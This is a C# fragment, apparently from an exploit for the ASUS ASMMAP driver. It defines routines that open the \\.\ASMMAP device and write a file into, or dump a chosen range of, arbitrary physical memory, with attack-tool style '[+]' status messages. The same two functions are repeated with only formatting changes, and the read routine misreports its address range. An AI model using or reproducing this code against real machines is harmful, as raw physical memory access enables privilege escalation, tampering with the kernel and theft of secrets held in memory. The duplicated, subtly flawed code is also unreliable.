public static void Write(ulong PhysicalAddress, string Filename) { using (FileStream stream = new FileStream(Filename, FileMode.Open)) using (ASMMap_MapMem mapper = new ASMMap_MapMem(PhysicalAddress, (uint)stream.Length)) { Console.WriteLine("[+] Writing block of memory..."); stream.CopyTo(mapper.PhysicalMemoryBlock); } }
public static void Read(ulong PhysicalAddress, ulong Length) { uint IterationSize = (IntPtr.Size == 8 ? (uint)0x10000000 : (uint)0x1000000); using (SafeFileHandle asmmap = ASMMap_MapMem.CreateFile("\\\\.\\ASMMAP" + (IntPtr.Size == 8 ? "64" : ""), FileAccess.ReadWrite, FileShare.None, IntPtr.Zero, FileMode.Create, FileAttributes.Temporary, IntPtr.Zero)) using (FileStream stream = new FileStream("" + (PhysicalAddress.ToString("X")) + "-" + ((PhysicalAddress + Length).ToString("X")) + ".bin", FileMode.Create)) { for (; Length > 0; Length -= IterationSize, PhysicalAddress += IterationSize) { using (ASMMap_MapMem mapper = new ASMMap_MapMem(asmmap, PhysicalAddress, (Length > IterationSize ? IterationSize : (uint)(Length & 0xffffffff)))) { Console.WriteLine("[+] Reading block of memory..."); mapper.PhysicalMemoryBlock.CopyTo(stream); } if (Length <= IterationSize) { break; } } } Console.WriteLine("[+] Read successful: " + (PhysicalAddress.ToString("X")) + "-" + ((PhysicalAddress + Length).ToString("X")) + ".bin"); }
public static void Write(ulong PhysicalAddress,string Filename) { using (FileStream stream = new FileStream(Filename,FileMode.Open)) using (ASMMap_MapMem mapper = new ASMMap_MapMem(PhysicalAddress,(uint)stream.Length)) { Console.WriteLine("[+] Writing block of memory..."); stream.CopyTo(mapper.PhysicalMemoryBlock); } }
public static void Read(ulong PhysicalAddress,ulong Length) { uint IterationSize = ( IntPtr.Size == 8 ? (uint)0x10000000 : (uint)0x1000000 ); using (SafeFileHandle asmmap = ASMMap_MapMem.CreateFile("\\\\.\\ASMMAP" + (IntPtr.Size == 8 ? "64" : ""),FileAccess.ReadWrite, FileShare.None,IntPtr.Zero,FileMode.Create,FileAttributes.Temporary,IntPtr.Zero)) using (FileStream stream = new FileStream("" + (PhysicalAddress.ToString("X")) + "-" + ((PhysicalAddress + Length).ToString("X")) + ".bin",FileMode.Create)) { for (; Length > 0; Length -= IterationSize, PhysicalAddress += IterationSize) { using (ASMMap_MapMem mapper = new ASMMap_MapMem(asmmap,PhysicalAddress,( Length > IterationSize ? IterationSize : (uint)(Length & 0xffffffff) ))) { Console.WriteLine("[+] Reading block of memory..."); mapper.PhysicalMemoryBlock.CopyTo(stream); } if ( Length <= IterationSize) break; } } Console.WriteLine("[+] Read successful: "+ (PhysicalAddress.ToString("X")) + "-" + ((PhysicalAddress + Length).ToString("X")) + ".bin"); }